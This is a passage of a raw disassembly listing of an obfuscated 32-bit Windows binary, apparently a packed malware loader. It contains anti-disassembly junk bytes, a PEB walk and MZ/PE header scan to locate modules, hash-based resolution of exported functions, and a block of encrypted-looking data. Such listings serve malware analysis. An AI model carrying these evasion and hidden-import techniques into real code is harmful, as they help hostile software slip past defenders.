loc_4032FC ; --------------------------------------------------------------------------- dw 3407h dd 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h ; --------------------------------------------------------------------------- loc_4032FC: ; CODE XREF: sub_402F03+3E9j inc eax loc_4032FD: ; CODE XREF: sub_402F03+3E3j cmp esi, 80h jnb loc_40333B jmp loc_403315 ; --------------------------------------------------------------------------- dw 0F691h ; --------------------------------------------------------------------------- mul [ebp+ecx*8+var_7E] xchg eax, ebx loc_403315: ; CODE XREF: sub_402F03+406j inc eax jmp short loc_403327 ; --------------------------------------------------------------------------- dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h db 94h, 3Dh, 32h ; --------------------------------------------------------------------------- loc_403327: ; CODE XREF: sub_402F03+413j inc eax jmp loc_40333B ; --------------------------------------------------------------------------- db 83h, 0, 39h dd 0F52CDF7Eh, 7118FB8Ah db 56h, 0D7h, 0C4h ; --------------------------------------------------------------------------- loc_40333B: ; CODE XREF: sub_402F03+400j ; sub_402F03+425j test eax, eax jz loc_40338A jmp short loc_403347 ; --------------------------------------------------------------------------- db 0ADh, 0E2h ; --------------------------------------------------------------------------- loc_403347: ; CODE XREF: sub_402F03+440j mov ecx, [ebp+var_10] jmp short loc_40335B ; --------------------------------------------------------------------------- dd 2EA93073h, 3A655CCFh, 6E148EBh db 0C7h, 0F4h, 1Dh ; --------------------------------------------------------------------------- loc_40335B: ; CODE XREF: sub_402F03+447j sub ecx, esi loc_40335D: ; CODE XREF: sub_402F03+47Bj mov edi, [ebp+var_10] mov dl, [ecx] jmp short loc_403371 ; --------------------------------------------------------------------------- dd 19606392h, 0D58CBFDEh, 5178DBEAh db 0B6h ; --------------------------------------------------------------------------- loc_403371: ; CODE XREF: sub_402F03+45Fj inc [ebp+var_10] inc ecx mov [edi], dl jmp short loc_40337D ; --------------------------------------------------------------------------- db 0B7h, 24h, 8Dh ; --------------------------------------------------------------------------- inc edx loc_40337D: ; CODE XREF: sub_402F03+474j dec eax jnz loc_40335D jmp short loc_40338A ; --------------------------------------------------------------------------- dw 9053h db 89h, 8Eh ; --------------------------------------------------------------------------- loc_40338A: ; CODE XREF: sub_402F03+22Bj ; sub_402F03:loc_403185j ... mov [ebp+8], esi jmp short loc_403394 ; --------------------------------------------------------------------------- db 0AFh dd 0CB9A45BCh ; --------------------------------------------------------------------------- loc_403394: ; CODE XREF: sub_402F03+2EEj ; sub_402F03+341j ... xor esi, esi inc esi jmp loc_4033AA ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h db 0ECh, 0B5h ; --------------------------------------------------------------------------- loc_4033AA: ; CODE XREF: sub_402F03+494j jmp loc_4033F5 ; --------------------------------------------------------------------------- loc_4033AF: ; CODE XREF: sub_402F03+C2j mov eax, [ebp+var_14] jmp short loc_4033C4 ; --------------------------------------------------------------------------- dd 31D8BB4Ah, 6D849716h, 69F033A2h, 251C8FEEh ; --------------------------------------------------------------------------- loc_4033C4: ; CODE XREF: sub_402F03+4AFj mov ecx, [ebp+var_10] mov al, [eax] inc [ebp+var_10] jmp loc_4033E0 ; --------------------------------------------------------------------------- db 0FAh, 0ABh, 8 dd 0B487C6A1h, 202352DDh, 4C7F9ED9h ; --------------------------------------------------------------------------- loc_4033E0: ; CODE XREF: sub_402F03+4C9j inc [ebp+var_14] mov [ecx], al loc_4033E5: ; CODE XREF: sub_402F03:loc_40309Bj xor esi, esi jmp short loc_4033F5 ; --------------------------------------------------------------------------- db 95h, 0AAh, 9Bh dd 77761138h, 13024DE4h ; --------------------------------------------------------------------------- push eax loc_4033F5: ; CODE XREF: sub_402F03:loc_4033AAj ; sub_402F03+4E4j cmp [ebp+var_4], 0 jz loc_402F9C mov eax, [ebp+var_10] pop edi jmp short loc_40340D ; --------------------------------------------------------------------------- db 49h, 4Eh, 6Fh dd 8B5A057Ch db 68h ; --------------------------------------------------------------------------- loc_40340D: ; CODE XREF: sub_402F03+500j pop esi sub eax, ebx jmp loc_40341A ; --------------------------------------------------------------------------- db 81h, 26h, 67h ; --------------------------------------------------------------------------- adc al, 0BDh loc_40341A: ; CODE XREF: sub_402F03+50Dj pop ebx jmp locret_403425 ; --------------------------------------------------------------------------- dd 0B98003B2h db 0FEh ; --------------------------------------------------------------------------- locret_403425: ; CODE XREF: sub_402F03+518j leave retn 8 sub_402F03 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_403429 proc near ; CODE XREF: start_0:loc_4011DBp mov eax, [esp+0] jmp loc_403434 ; --------------------------------------------------------------------------- db 5Fh, 0ACh, 75h ; --------------------------------------------------------------------------- loc_403434: ; CODE XREF: sub_403429+3j mov ecx, 0FFFFF000h and eax, ecx mov ecx, [eax] jmp short loc_403443 ; --------------------------------------------------------------------------- or bh, [ebx-68h] icebp loc_403443: ; CODE XREF: sub_403429+14j jmp loc_403468 ; --------------------------------------------------------------------------- jmp loc_403453 ; --------------------------------------------------------------------------- db 0D6h, 57h, 44h db 2Dh, 62h, 0F3h ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_403429+1Fj ; sub_403429+44j sub eax, 1000h jmp loc_403466 ; --------------------------------------------------------------------------- db 0B0h, 29h, 0AEh dd 0BAE5DC4Fh db 6Bh, 0C8h ; --------------------------------------------------------------------------- loc_403466: ; CODE XREF: sub_403429+2Fj mov ecx, [eax] loc_403468: ; CODE XREF: sub_403429:loc_403443j cmp cx, 5A4Dh jnz loc_403453 lea ecx, [eax+3Ch] jmp loc_403489 ; --------------------------------------------------------------------------- db 61h dd 9D744786h, 99E0E312h, 550C3F5Eh db 6Ah ; --------------------------------------------------------------------------- loc_403489: ; CODE XREF: sub_403429+4Dj mov ecx, [ecx] jmp short loc_403497 ; --------------------------------------------------------------------------- db 5Bh, 0F8h, 0D1h dd 0DA43736h db 0C2h, 0D3h, 10h ; --------------------------------------------------------------------------- loc_403497: ; CODE XREF: sub_403429+62j mov ecx, [ecx+eax] and ecx, 0FFFFh jmp loc_4034B0 ; --------------------------------------------------------------------------- db 9, 0Eh, 2Fh dd 4B1AC53Ch, 27E64128h ; --------------------------------------------------------------------------- loc_4034B0: ; CODE XREF: sub_403429+77j cmp ecx, 4550h jz locret_4034CD jmp loc_4034C4 ; --------------------------------------------------------------------------- db 0D4h, 7Dh, 72h ; --------------------------------------------------------------------------- loc_4034C4: ; CODE XREF: sub_403429+93j xor eax, eax jmp locret_4034CD ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- inc eax locret_4034CD: ; CODE XREF: sub_403429+8Dj ; sub_403429+9Dj retn sub_403429 endp ; =============== S U B R O U T I N E ======================================= sub_4034CE proc near ; CODE XREF: start_0:loc_40121Fp ; sub_40141A+16Bp ... push esi jmp short loc_4034DA ; --------------------------------------------------------------------------- db 79h, 0BEh, 1Fh dd 3BCA356Ch db 58h, 0B1h ; --------------------------------------------------------------------------- loc_4034DA: ; CODE XREF: sub_4034CE+1j xor eax, eax mov eax, fs:[eax+30h] mov eax, [eax+0Ch] jmp short loc_4034F2 ; --------------------------------------------------------------------------- db 96h, 17h, 4 dd 70B322EDh, 9C0F6EE9h db 0A5h, 7Ah ; --------------------------------------------------------------------------- loc_4034F2: ; CODE XREF: sub_4034CE+15j mov esi, [eax+1Ch] jmp short loc_4034F8 ; --------------------------------------------------------------------------- db 2Bh ; --------------------------------------------------------------------------- loc_4034F8: ; CODE XREF: sub_4034CE+27j lodsd mov eax, [eax+8] jmp loc_40350B ; --------------------------------------------------------------------------- db 88h, 21h, 46h dd 0D25D3407h db 0A3h, 0A0h, 59h ; --------------------------------------------------------------------------- loc_40350B: ; CODE XREF: sub_4034CE+2Ej pop esi retn sub_4034CE endp ; --------------------------------------------------------------------------- jmp short near ptr sub_403516 ; --------------------------------------------------------------------------- db 1Eh dd 2A15CCFFh db 1Bh, 0B8h ; =============== S U B R O U T I N E ======================================= sub_403516 proc far ; CODE XREF: start_0:loc_40125Ep ; start_0+102p ... var_18 = dword ptr -18h push ebp jmp loc_40351D ; --------------------------------------------------------------------------- xchg eax, ecx loc_40351D: ; CODE XREF: sub_403516+1j mov ebp, esp add esp, 0FFFFFFFCh push ebx jmp loc_40352E ; --------------------------------------------------------------------------- dd 0CD64F7F6h db 82h, 93h ; --------------------------------------------------------------------------- loc_40352E: ; CODE XREF: sub_403516+Dj push esi push edi jmp short loc_403535 ; --------------------------------------------------------------------------- dw 0C9D0h db 0CEh ; --------------------------------------------------------------------------- loc_403535: ; CODE XREF: sub_403516+1Aj mov ebx, [ebp+8] mov ecx, ebx add ebx, [ebx+3Ch] jmp short loc_40354C ; --------------------------------------------------------------------------- db 0EFh dd 0BDA85FCh, 0E7A601E8h, 83323D94h ; --------------------------------------------------------------------------- loc_40354C: ; CODE XREF: sub_403516+27j push dword ptr [ebx+7Ch] jmp loc_40355D ; --------------------------------------------------------------------------- dd 0DF7E3900h, 0FB8AF52Ch db 18h ; --------------------------------------------------------------------------- loc_40355D: ; CODE XREF: sub_403516+39j mov ebx, [ebx+78h] jmp loc_403570 ; --------------------------------------------------------------------------- db 71h, 56h, 0D7h dd 73E2ADC4h, 0CF2EA930h ; --------------------------------------------------------------------------- loc_403570: ; CODE XREF: sub_403516+4Aj add ebx, ecx jmp short loc_403575 ; --------------------------------------------------------------------------- pop esp loc_403575: ; CODE XREF: sub_403516+5Cj add [esp+18h+var_18], ebx jmp loc_40357F ; --------------------------------------------------------------------------- db 65h, 3Ah ; --------------------------------------------------------------------------- loc_40357F: ; CODE XREF: sub_403516+62j mov edi, [ebx+20h] jmp short loc_403592 ; --------------------------------------------------------------------------- dd 6E148EBh, 921DF4C7h, 0DE196063h db 0BFh, 8Ch ; --------------------------------------------------------------------------- loc_403592: ; CODE XREF: sub_403516+6Cj add edi, ecx jmp short loc_4035A6 ; --------------------------------------------------------------------------- dw 0EAD5h dd 0B65178DBh, 428D24B7h, 8E899053h db 0AFh, 0BCh ; --------------------------------------------------------------------------- loc_4035A6: ; CODE XREF: sub_403516+7Ej xor esi, esi jmp loc_4035AE ; --------------------------------------------------------------------------- inc ebp loc_4035AE: ; CODE XREF: sub_403516+92j ; sub_403516+100j lea edx, [edi+esi*4] jmp short loc_4035C0 ; --------------------------------------------------------------------------- db 9Ah ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h ; --------------------------------------------------------------------------- loc_4035C0: ; CODE XREF: sub_403516+9Bj mov edx, [edx] add edx, ecx jmp short loc_4035CC ; --------------------------------------------------------------------------- dw 0EC9Fh dd 0D8BB4AB5h ; --------------------------------------------------------------------------- loc_4035CC: ; CODE XREF: sub_403516+AEj mov [ebp-4], edx xor eax, eax loc_4035D1: ; CODE XREF: sub_403516+DCj rol eax, 7 jmp loc_4035DC ; --------------------------------------------------------------------------- xor [esi], edx xchg eax, edi loc_4035DC: ; CODE XREF: sub_403516+BEj xor al, [edx] jmp loc_4035EE ; --------------------------------------------------------------------------- test [ebp-5Eh], ch xor esi, eax imul ebp, esi, 0FA251C8Fh loc_4035EE: ; CODE XREF: sub_403516+C8j inc edx cmp byte ptr [edx], 0 jnz loc_4035D1 cmp eax, [ebp+0Ch] jz loc_403627 jmp short loc_403606 ; --------------------------------------------------------------------------- db 0ABh db 8, 0A1h ; --------------------------------------------------------------------------- loc_403606: ; CODE XREF: sub_403516+EBj inc esi jmp short loc_403613 ; --------------------------------------------------------------------------- db 0C6h, 87h, 0B4h dd 202352DDh db 0D9h, 9Eh, 7Fh ; --------------------------------------------------------------------------- loc_403613: ; CODE XREF: sub_403516+F1j cmp esi, [ebx+18h] jb loc_4035AE jmp short loc_403627 ; --------------------------------------------------------------------------- dw 954Ch dd 11389BAAh db 76h, 77h, 0E4h ; --------------------------------------------------------------------------- loc_403627: ; CODE XREF: sub_403516+E5j ; sub_403516+106j mov edx, [ebx+24h] add edx, ecx jmp short loc_403635 ; --------------------------------------------------------------------------- dw 24Dh dd 4E495013h db 6Fh ; --------------------------------------------------------------------------- loc_403635: ; CODE XREF: sub_403516+116j movzx edx, word ptr [edx+esi*2] mov eax, [ebx+1Ch] add eax, ecx jmp loc_403651 ; --------------------------------------------------------------------------- db 7Ch dd 688B5A05h, 14672681h, 8003B2BDh db 0B9h ; --------------------------------------------------------------------------- loc_403651: ; CODE XREF: sub_403516+128j mov eax, [eax+edx*4] add eax, ecx jmp short loc_40365C ; --------------------------------------------------------------------------- dd 75AC5FFEh ; --------------------------------------------------------------------------- loc_40365C: ; CODE XREF: sub_403516+140j pop ecx cmp eax, ebx jbe loc_4036BD jmp short loc_40366E ; --------------------------------------------------------------------------- or bh, [ebx-68h] icebp setalc push edi inc esp loc_40366E: ; CODE XREF: sub_403516+14Fj cmp eax, ecx jnb loc_4036BD jmp short loc_403687 ; --------------------------------------------------------------------------- sub eax, 29B0F362h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi loc_403687: ; CODE XREF: sub_403516+160j push dword ptr [ebp-4] jmp short loc_40368F ; --------------------------------------------------------------------------- db 74h, 9Dh, 12h ; --------------------------------------------------------------------------- loc_40368F: ; CODE XREF: sub_403516+174j push dword ptr [ebp+8] push 1FC0EAEEh jmp loc_4036A4 ; --------------------------------------------------------------------------- dd 5E99E0E3h, 6A550C3Fh ; --------------------------------------------------------------------------- loc_4036A4: ; CODE XREF: sub_403516+181j push dword ptr [ebp+8] call near ptr sub_403516 call eax jmp loc_4036BD ; --------------------------------------------------------------------------- db 5Bh dd 3736D1F8h, 0D3C20DA4h db 10h ; --------------------------------------------------------------------------- loc_4036BD: ; CODE XREF: sub_403516+149j ; sub_403516+15Aj ... pop edi pop esi pop ebx jmp short locret_4036CD ; --------------------------------------------------------------------------- dw 0E09h dd 1AC53C2Fh, 0E641284Bh ; --------------------------------------------------------------------------- daa locret_4036CD: ; CODE XREF: sub_403516+1AAj leave jmp short locret_4036DE ; --------------------------------------------------------------------------- dd 0C3727DD4h, 1FBE7940h, 3BCA356Ch db 58h, 0B1h ; --------------------------------------------------------------------------- locret_4036DE: ; CODE XREF: sub_403516+1B8j retn 8 sub_403516 endp ; --------------------------------------------------------------------------- jmp short loc_4036E8 ; --------------------------------------------------------------------------- db 96h dd 22ED0417h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4013B3 loc_4036E8: ; CODE XREF: sub_4013B3:loc_4013BEj ; .text:004036E1j call sub_4013C8 nop mov al, 60h pop edx or cl, [ebp-7] cmp al, 26h outsb sbb esi, [ecx-35ADD862h] jz short $+2 ; END OF FUNCTION CHUNK FOR sub_4013B3 ; --------------------------------------------------------------------------- db 0 align 200h _text ends ; Section 2. (virtual address 00004000) ; Virtual size : 00004BE7 ( 19431.) ; Section size in file : 00004C00 ( 19456.) ; Offset to raw data for section: 00002C00 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 404000h dd 923B0EC8h, 978AAF26h, 0B2C32CD3h, 0F8E915A7h, 39C48CFh dd 0DACA9359h, 11B7C1A2h, 0E2352680h, 7E53053h, 29428416h dd 0BDC3E2F9h, 299AA4Ah, 0BB03DF95h, 0E033A4DAh, 2E18E9Fh dd 5723634Ah, 0A1A0D946h, 83240E36h, 0A1A0D946h, 83240E36h dd 3C659129h, 4B9DE42Fh, 925578F4h, 74DD6DD2h, 6D717AE6h dd 887248A6h, 6D717AE6h, 887248A6h, 8C284FFAh, 1D2EC4B1h dd 44EB822Ch, 1F3EC6FFh, 7C429F98h, 0B4ACAC73h, 0A5B6355h dd 0D0609CACh, 44EB822Ch, 1F3EC6FFh, 44EB822Ch, 1F3EC6FFh dd 44EB822Ch, 1F3EC6FFh, 44EB822Ch, 1F3EC6FFh, 44EB822Ch dd 1F3EC6FFh, 44EB822Ch, 1F3EC6FFh, 44EB822Ch, 1F3EC6FFh dd 44EB822Ch, 1F3EC6FFh, 44EB822Ch, 1F3EC6FFh, 1AD81994h dd 0ED966A89h, 44EB822Ch, 1F3EC6FFh, 44EB822Ch, 1F3EC6FFh dd 44EB822Ch, 1F3EC6FFh, 5DDE8ADFh, 2819E6B3h, 23C6C143h dd 0EC893CF5h, 0FA91475Ch, 9808DB48h, 129F2C97h, 5D9CBEE2h dd 4425D7Eh, 0AE269A70h, 0FBFFB6EFh, 0BA6CCC27h, 0C49D084Bh dd 0C1C7D077h, 23488A49h, 455819F4h, 5B0A5E34h, 4E104536h dd 8BFCD30h, 14838588h, 0AF00D16Fh, 0BB9647D8h, 0D2C51BF3h dd 8E8F11F5h, 5018AC74h, 582F7746h, 0A9AE7628h, 0C86330E9h dd 8C0257A5h, 24608415h, 0C0D79B38h, 0A2F1FD25h, 0EF53234Fh dd 472DFE10h, 0F7F4D28Bh, 0BC974444h, 0ACD9C3FAh, 2C8FEE5Fh dd 75D8910Bh, 76CFF07Ch, 59C45293h, 0CD536898h, 0BD37A5E4h dd 0DE2F12E5h, 0B49FC86h, 42A3EFDEh, 91933AD0h, 0CD387A11h dd 0AC763CFDh, 58755472h, 0D66D9DBh, 231F9F44h, 698D98D5h dd 4B553E48h, 299D3BC6h, 0FF555739h, 7A5B2FAAh, 0C04BDD29h dd 627CB57Fh, 4C9169E9h, 0D966583Bh, 44DA7E99h, 6C00E962h dd 27D0CF9Bh, 6146D703h, 0A4FFCDD8h, 0B7F9DD63h, 82403B0Eh dd 914CBAD4h, 0D231EF2Eh, 8343E397h, 0A21501E4h, 548236C5h dd 0A71A94ECh, 0D7DC4233h, 0E3C72328h, 0B5EB1C89h, 0BBE63A0Fh dd 750A40FAh, 0DE00C90Bh, 9774E3A9h, 806E3FB0h, 639BDCB0h dd 0B95E6E94h, 45776F7Dh, 0E6B9D82Eh, 0D131B397h, 27C433D7h dd 0EFB85358h, 0B3E9CF8Dh, 0AD5C915Fh, 8C730357h, 0BEB0C8A2h dd 15058651h, 3538C4C2h, 384A30DCh, 9E66F451h, 1C35B6D2h dd 0DCC4696Dh, 0BF2497C9h, 57F3C0D5h, 0F0A9FB56h, 93ECEB55h dd 0A990BA46h, 7E2A8CD8h, 1075D095h, 7977CC51h, 6F519491h dd 34BF9E03h, 557B579Bh, 0FE7CAC6Ch, 80BDA0C2h, 9A35C551h dd 4DA27D79h, 8E5DCC6Ch, 7CB447D1h, 8FC9E518h, 0AE5E0FCFh dd 0F24444A6h, 9714513Ch, 92C8E244h, 34D771F4h, 0A0629808h dd 2D687FD9h, 1875C58Fh, 0E3A4FB70h, 0B986AD2Eh, 0BB8BBB85h dd 81FD2A6Bh, 755D30EFh, 3D2A3FDDh, 2FB692BAh, 16A8EC13h dd 9DC4032Fh, 0FBC8A0AEh, 571B3FDEh, 516ABB0Eh, 0D1B1CF25h dd 7EEC9380h, 6FC68594h, 57CED332h, 99EC0C26h, 45232EAEh dd 0F43B2BC2h, 7B7ECFA0h, 120F9A03h, 7E5FBADBh, 0DEB2BDCCh dd 0C2AC6CD9h, 0B331825Ah, 3E4BDC49h, 86FC3A9Ch, 0B0FDDF91h dd 0C68F7E53h, 2787AAC2h, 0F2899EEh, 0A6409996h, 3A5A137Ah dd 54EB712Fh, 2AEC999Ch, 458AE3Bh, 77157C0h, 721E4880h dd 353E99E4h, 440A984h, 0AC2CA455h, 0CA94A1F3h, 58E40242h dd 0A5D0DDC4h, 468D42AEh, 305E2B63h, 7E1D55BDh, 0CBCBB72h dd 79881197h, 0B31D1831h, 0DFC91049h, 0FB86523Eh, 0F2EE58B2h dd 0A61F8CB8h, 0D417CC6Ch, 0D2C08D30h, 0EB23A8D6h, 9218BEAh dd 7DF01531h, 6B234FF0h, 0EE53C567h, 0A98CDA04h, 21960FC3h dd 2E16639Fh, 39606A86h, 68592B97h, 98F4F095h, 0C5DF0F3Eh dd 841E8038h, 0EA92A64Fh, 0A6C7FE68h, 0E923DA64h, 0A9A6379Bh dd 0EDEDA0E3h, 4AC5EE2h, 0EF8C5E7Ch, 40886E0Fh, 0DCAD0ACEh dd 9E74CB44h, 0E30D2468h, 21BB15C7h, 86C39C80h, 0D48DE650h dd 564C537Bh, 37F81C99h, 3B62DFE1h, 17AFE344h, 340504D8h dd 0C79216C1h, 0AB83F564h, 0D7F3BC7Fh, 6862A069h, 0A528089Ah dd 4EE43D3Ah, 4AA09C3Eh, 2A665476h, 4689EE8Bh, 80E9C07Bh dd 2DE0452h, 6228065Ch, 93026558h, 0A25D4BA2h, 96F28DA3h dd 674B4F5Bh, 85B1DC30h, 0BA6C4FFAh, 0C4ED452Eh, 868F7BDEh dd 0BD9982ECh, 69E32CCh, 0B3F59D37h, 0DD2E15F6h, 0B0801AF1h dd 0D4B05B48h, 23A7367Eh, 0C09AC86Ah, 968D675Dh, 0C1FF91C4h dd 471DB8F7h, 0D7E4366h, 69CDBC32h, 76DBC64Eh, 0E86DEAD0h dd 6CE7F520h, 0D73B22C5h, 579434AEh, 32EC7C38h, 885F4B39h dd 34C80153h, 0AC9A55CCh, 3655464Dh, 0F16A50BAh, 9915310h dd 823D60Ch, 36B2BDFEh, 0E3E0D928h, 3F731F44h, 7ABC1C2Bh dd 5E414578h, 5FEB230Bh, 0EA4D1265h, 12DC27A0h, 6A31EC04h dd 72EFE850h, 5DEF10E4h, 72D9B0F6h, 5E637412h, 77C295B5h dd 0AE9B720Ah, 1F8BF264h, 0E80DA69Eh, 0D6C258C6h, 4AAC2819h dd 0BE8F9F23h, 7C9D8897h, 0AECE5E0Ah, 0A1E93B17h, 23989BABh dd 0D07CDE04h, 38E55F39h, 5432D6C2h, 0ACE91F49h, 6B399366h dd 15C83F29h, 79BD1ED2h, 83317C94h, 3FD5710Eh, 396D86F9h dd 4AD0F08Ch, 8D0FD9EAh, 0A1E0A11Dh, 5DF9EE2Dh, 8DBC24CCh dd 26791656h, 36EB289Fh, 8F7C3FF8h, 0F982C472h, 933F0762h dd 830232DDh, 90539F4Eh, 9FE5BE73h, 585068F6h, 718A84EDh dd 74B3F41Ch, 0E0322C78h, 1A2D6767h, 3643BC10h, 133ACCCAh dd 0B3B1C68Ah, 8D9501A4h, 5602B7C5h, 4A0E327Ah, 0DF7AE3C1h dd 0D32F9AE9h, 184C8755h, 65F33444h, 4D191FA7h, 0FA87903h dd 2AE02DC6h, 11922414h, 0E032D713h, 469DFB0Bh, 0D42E5F26h dd 0BDF832C6h, 4D1FB38Fh, 8DED230Fh, 869D9377h, 9870E083h dd 0C4995D54h, 0E2FF3EC6h, 17111B03h, 45C7B2E9h, 0D2ED7349h dd 0B8731DD3h, 218E4C08h, 0E29367A5h, 106F9991h, 92F40D02h dd 0A9C67789h, 7A59A596h, 0E68BB450h, 0D863C573h, 1DF8EEBh dd 0E11F237Bh, 684C9EF5h, 3E30C872h, 7F3405A8h, 0C75C0C47h dd 5C8AAF8Eh, 50FDF246h, 0C1420AA9h, 0D12C17DEh, 8C87586Dh dd 0AFD5CF5Bh, 75CEA970h, 45A6E0Ah, 0D1B62D32h, 0E488E4Fh dd 88E5B1E3h, 9552A709h, 6E052513h, 3563DFCFh, 12505A5Ah dd 0CFDEFF75h, 6DC14EDh, 38009F31h, 0CD51B5EDh, 0FCBE80D2h dd 0B8651342h, 0B400D474h, 942B16D0h, 3A47FA79h, 88A0F855h dd 4075E90Dh, 799CB2A8h, 0C8D77A95h, 6B732DD9h, 0B33F7EEh dd 0EAB9806h, 88FC2CD3h, 8FED773Dh, 3666B7EFh, 2DB1DCFEh dd 0B11D9E7h, 16ACBB9Ch, 11FD649h, 9736BE11h, 0A2E920F8h dd 72768ADAh, 32CF06C1h, 1F47B1FEh, 0F840FC99h, 2794218h dd 1D56B35Ch, 73B41B52h, 618DCB09h, 0E24A4C69h, 3F5AEBA2h dd 0AF5FDA18h, 383D9A69h, 108E1A1Dh, 687BB65Bh, 1708ED92h dd 5E3106CAh, 0F417A5Eh, 83BA0A8h, 9DC02F52h, 41938D48h dd 9DD1E9E0h, 0BC5B4194h, 4B675D04h, 9BF59E91h, 0EF30E433h dd 355B1D3Bh, 0AF52473Dh, 0AB48F3D7h, 27E54586h, 0AEA1595h dd 0F36D2448h, 0DC5D1122h, 52D060BAh, 0EC0E9F5Fh, 5389E7E0h dd 45E1CE9Fh, 16F2DC8Eh, 0F6264205h, 0F06167CFh, 33081966h dd 517A366Dh, 0ADBBD32Bh, 9F0FAD16h, 0B22C1765h, 7A19A97Ah dd 47FAD6C4h, 1B94A92Fh, 0D97F7076h, 77CFAB5Ah, 0DF78B5F9h dd 3C801500h, 219D7792h, 0D08E48Eh, 385D2F9Eh, 1C5B238Fh dd 6E9E800Dh, 62E83A65h dd 0A58AB638h, 0C973080Ch, 0E57B45AFh, 0A68018E2h, 0E9131A80h dd 8B0D57FAh, 3213C921h, 1327F6EFh, 7276C4D0h, 0D5CAFF76h dd 8C196606h, 863A62BEh, 47F78A6Ah, 979EB3E5h, 0D3A87D07h dd 74638E29h, 0D689F43Eh, 0A38B0D1Fh, 666EBF49h, 3EE1AE0Eh dd 8F6827F3h, 187128BCh, 0CF6BF5DDh, 699666B3h, 0F2D21F45h dd 0F51072A1h, 0BB39345h, 0B8C4D4A0h, 7E9D1E89h, 13DFF956h dd 625E12F2h, 5593286Ah, 34821370h, 0A34A2C1Eh, 0C0D11287h dd 1AABBAE7h, 52B32E4Fh, 0E451E756h, 5D6C605Fh, 6072798Ch dd 134DBA66h, 0E2DBF545h, 51A7CB6Dh, 0B60523FFh, 48E08A14h dd 38E66A4Dh, 54705639h, 2AD0E431h, 63ADCA3Bh, 0BA7D9DA9h dd 0D77CA4EDh, 4F094980h, 0ADB1AA04h, 9322F581h, 0B2A003D8h dd 0CEDA10DEh, 0F5089DEAh, 0ECF744E0h, 96AA8C9Dh, 0AF9E1D2h dd 1950AFF1h, 9890F93h, 44673088h, 8F768B78h, 0EF78BFF0h dd 5A787469h, 0B302C0D8h, 0C7E3D167h, 0E8DE9ADBh, 0E5EA8C42h dd 2AEB8C26h, 0BCEA3388h, 43FC4AD8h, 0B1FA51ADh, 0FB8D25D4h dd 74AA5260h, 4AE8DAA3h, 7DFE64A7h, 6AF92C3Eh, 0DB61093Bh dd 0E352764Dh, 8D33DD43h, 947B6D95h, 747DF6D9h, 0B7732D9Dh dd 0A852F972h, 0F7E57726h, 0D180BECh, 720D522h, 3555BE88h dd 9F036B84h, 8ED79AC4h, 0FFB2E976h, 0C98A7E13h, 3D220C11h dd 43BE0DADh, 1E46A64Ah, 469FD1ABh, 5E0DD172h, 0AB31BFB8h dd 0C80BC39Ch, 19AF3A2Dh, 24B2AA4Ch, 32A8054Fh, 923F2336h dd 0D4C6E97Ch, 8760EB59h, 0DF381EE7h, 0CD2BF1CFh, 0EDA25B60h dd 0DEE933E8h, 0A7328DADh, 0F154E537h, 88200A8Dh, 6668CA8Fh dd 7F07C64Dh, 0D5CC6C52h, 8A651EE6h, 46E74ECFh, 0EB69B9D7h dd 88D4E5E2h, 3DEF2A79h, 0F1946179h, 9B842EB5h, 0EC8041E7h dd 0CCB78C1Ah, 0E5E4DD6Dh, 0A805E755h, 0CBF8AD6Eh, 0BC51F205h dd 0EA6BBFEFh, 9581E2CFh, 0E8401526h, 8446D499h, 6480DA2Bh dd 0A9847A75h, 0F4D929DEh, 160F95E9h, 0BF561CECh, 0B22E21E7h dd 836BC0EFh, 763F21FEh, 4E6C8E20h, 5CFFA03Ah, 1A14576Ch dd 43C471F2h, 77FD5EFAh, 0F733360h, 23E743h, 8452A930h dd 0BFE10A26h, 786DA253h, 985C0BC4h, 0F879174Fh, 6434BFBEh dd 12A41EB4h, 0DCD788F8h, 7F717392h, 0DA064061h, 44FB9BF8h dd 91380DD9h, 6C9DF889h, 1DBF9F9Bh, 5F7DB040h, 84E06DC4h dd 0D07C1A39h, 0AF6B4057h, 609C6CA3h, 0FFD0F595h, 9D93D1Bh dd 8915103Dh, 96685E82h, 0B1A1F443h, 0AC40BD47h, 3DFC0330h dd 0C3A623B6h, 17F860ADh, 0FAD376B7h, 0C64A7CFFh, 90EE4DAh dd 0D67F7070h, 6F7B0E10h, 99D5B909h, 0C43DFDFEh, 99EB1018h dd 0B431590Fh, 865A9CC6h, 6829D03Bh, 4DE9A5Dh, 0BBFDC5A2h dd 33886329h, 9B45AD78h, 1E10A4B4h, 83CC21B0h, 0C7B9D2FFh dd 23066351h, 18E5857Fh, 8C6AD7F8h, 49090CF3h, 0F2D05ECFh dd 0CECFC713h, 683D4265h, 9D214D9Fh, 2BFAB351h, 2DEBBE04h dd 0D2CC8E2Ch, 59050BDFh, 0FEEA0EABh, 7D0B97D7h, 6BDA38B2h dd 3FD803A5h, 0CFC18013h, 0D504153Ah, 0B8A3BE73h, 0A325BBF9h dd 940DC6CBh, 9AD250ECh, 3C251FF1h, 0E6A193C5h, 6295DE53h dd 5061C67Dh, 0E62DC3E5h, 6A10BA59h, 25E3F2CCh, 329DE99Ch dd 8CD6515Ah, 586A115Ch, 80F4A456h, 0D72A6285h, 0A3C71EFFh dd 51739B02h, 936E6D5Ah, 0CF240891h, 0E0891B35h, 0E5061E58h dd 0F52C2A3Dh, 5AFD8941h, 9E468C3Ch, 0F180E06Bh, 0B4573EEEh dd 0AA69B0E3h, 41C792BDh, 319CE5EDh, 0C18E26E5h, 0B0107B38h dd 280D69E1h, 759711E8h, 0ED7BE77Eh, 69976299h, 214A358h dd 76D07325h, 772D08DCh, 6069C352h, 0C91BAD05h, 81C991D5h dd 0E9CB2B9Fh, 83498946h, 4F041436h, 32BC8AAEh, 9C505978h dd 0F5FC2A0Fh, 2B31109Bh, 35D21F79h, 83B33CB3h, 0FE39DECDh dd 6D84CB4h, 0D47F8C17h, 0A2C26DB8h, 0B6413159h, 493DD180h dd 0A8635676h, 